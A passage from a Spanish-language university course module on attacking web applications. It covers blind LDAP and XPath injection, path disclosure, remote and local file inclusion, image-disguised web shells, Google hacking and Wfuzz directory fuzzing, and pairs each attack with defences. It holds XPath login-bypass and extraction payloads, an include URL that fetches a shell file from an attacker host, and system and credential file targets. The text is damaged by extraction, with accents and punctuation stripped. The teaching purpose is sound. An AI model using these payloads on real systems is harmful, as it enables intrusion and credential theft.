ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

